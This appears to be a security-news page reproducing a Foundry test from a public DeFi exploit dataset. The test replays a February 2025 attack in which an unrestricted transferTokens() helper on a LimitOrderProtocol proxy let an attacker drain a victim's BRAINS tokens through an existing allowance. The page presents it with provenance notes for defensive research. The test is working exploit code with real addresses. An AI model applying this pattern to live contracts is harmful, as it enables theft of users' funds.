Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/LimitOrderProtocol_exp.sol

Public reproduction file for dataset entry LimitOrderProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/LimitOrderProtocol_exp.sol70 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,800,000 BRAINS
8// Attacker : 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A
9// Attack Contract : 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE7
10// Vulnerable Contract : 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e
11// Attack Tx : https://basescan.org/tx/0xf16c30f57d6f47d68fe8ee6ed1986ed9c0d837b00750daef9c742c395b55d564
12//
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xce8d7cd4ddb3fd50baae0cc59dbfd786a7f0e44e#code
15// Proxy Contract Code : https://basescan.org/address/0xb5486f71c902fe0844bb07221fa8f47834d90b1b#code
16//
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/447
19//
20// The LimitOrderProtocol proxy pointed to an implementation with an unrestricted
21// transferTokens() helper. The attacker used the victim's existing BRAINS allowance to
22// move the victim's full BRAINS balance to the attacker.
24address constant ATTACKER = 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A;
25address constant ATTACK_CONTRACT = 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE7;
26address constant LIMIT_ORDER_PROXY = 0xb5486f71C902fe0844Bb07221Fa8f47834d90B1b;
27address constant VULNERABLE_IMPLEMENTATION = 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e;
28address constant VICTIM = 0xcaF77DeCE27195CEB627feb5b588109b91ae6579;
29address constant BRAINS_TOKEN = 0xF25B7DD973e30Dcf219fbED7bD336b9ab5A05DD9;
31interface ILimitOrderProtocol {
32 function transferTokens(address token, address from, address to, uint256 amount) external;
35contract ContractTest is BaseTestWithBalanceLog {
36 ILimitOrderProtocol private constant limitOrderProxy = ILimitOrderProtocol(LIMIT_ORDER_PROXY);
37 IERC20 private constant brains = IERC20(BRAINS_TOKEN);
39 function setUp() public {
40 uint256 forkBlock = 26_231_299;
41 vm.createSelectFork("base", forkBlock);
43 fundingToken = BRAINS_TOKEN;
44 attacker = ATTACKER;
45 vm.label(ATTACKER, "Attacker");
46 vm.label(ATTACK_CONTRACT, "Attack Contract");
47 vm.label(LIMIT_ORDER_PROXY, "LimitOrderProtocol Proxy");
48 vm.label(VULNERABLE_IMPLEMENTATION, "Vulnerable Implementation");
49 vm.label(VICTIM, "Victim");
50 vm.label(BRAINS_TOKEN, "BRAINS");
51 }
53 function testExploit() public balanceLog {
54 uint256 victimBalance = brains.balanceOf(VICTIM);
55 uint256 attackerBalanceBefore = brains.balanceOf(ATTACKER);
56 uint256 allowanceBefore = brains.allowance(VICTIM, LIMIT_ORDER_PROXY);
58 assertEq(victimBalance, 2_800_000 ether);
59 assertEq(attackerBalanceBefore, 0);
60 assertGe(allowanceBefore, victimBalance);
62 // step 1: use the unrestricted helper to spend the victim's existing proxy allowance.
63 vm.prank(ATTACKER);
64 limitOrderProxy.transferTokens(BRAINS_TOKEN, VICTIM, ATTACKER, victimBalance);
66 // step 2: prove the same asset movement shown by the attack receipt.
67 assertEq(brains.balanceOf(VICTIM), 0);
68 assertEq(brains.balanceOf(ATTACKER) - attackerBalanceBefore, victimBalance);
69 }

Analysis

Dataset entry

Public Foundry test for “LimitOrderProtocol” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc2b2197ca4b2ee3b4eb61fc59e6d592d04a2e26a

  • Attack Contract

    0xfecc81ad11e2362cdb6c3df16ff49682ff229de7

  • Vulnerable Contract

    0xce8d7cd4ddb3fd50baae0cc59dbfd786a7f0e44e

  • Attack Tx

    0xf16c30f57d6f47d68fe8ee6ed1986ed9c0d837b00750daef9c742c395b55d564

File record

Name
LimitOrderProtocol
Path
src/test/2025-02/LimitOrderProtocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c4847b95da66ff21f776aea9317ffb65bd6339a3
Language
Solidity
Size
71 lines
Date
2025-02-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/LimitOrderProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c4847b95da66ff21f776aea9317ffb65bd6339a3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.